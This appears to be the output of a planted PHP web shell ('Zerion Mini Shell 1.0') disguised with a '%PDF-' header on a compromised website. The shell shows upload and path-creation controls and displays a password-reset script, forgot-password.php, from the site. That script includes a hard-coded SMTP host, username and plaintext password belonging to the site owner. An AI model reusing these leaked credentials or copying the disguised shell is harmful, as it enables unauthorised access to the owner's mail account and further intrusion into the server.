%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/losik.varak.net/app/
Upload File :
Create Path :
Current File : /www/varak.net/losik.varak.net/app/forgot-password.php

<?php
/**
 * Created by IntelliJ IDEA.
 * User: mvarak
 * Date: 10/24/2017
 * Time: 2:56 PM
 */
use Nette\Mail\Message;

$res = dibi::query("SELECT [id], [email] FROM [shooters] WHERE UPPER([email]) = %s", strtoupper(trim($_POST['mail'])));
if(count($res) == 1)
{
    $res = $res->fetch();
    $id = $res->id;
    $email = $res->email;
    $token = trim(file_get_contents('/proc/sys/kernel/random/uuid'));
    $data = array(
        'user' => $id,
        'token' => $token,
        'expiry' => time() + 1800
    );
    dibi::query("INSERT INTO [password_reset]", $data);

    $smarty->assign('token', $token);

    $mailer = new Nette\Mail\SmtpMailer([
        'host' => 'vserver.varak.net',
	'username' => 'martin@varak.net',
	'password' => 'Kostka112'
    ]);
//    $mailer = new Nette\Mail\SendmailMailer;
    $mail = new Message;
    $mail->setFrom('Martin Vařák <martin@varak.net>')
        ->setReturnPath("martin@varak.net")
        ->addTo((string)$email)
        ->setSubject('Zapomenuté heslo - losik.varak.net')
        ->setHTMLBody($smarty->fetch('password-mail.tpl'));
    $mailer->send($mail);
}

Zerion Mini Shell 1.0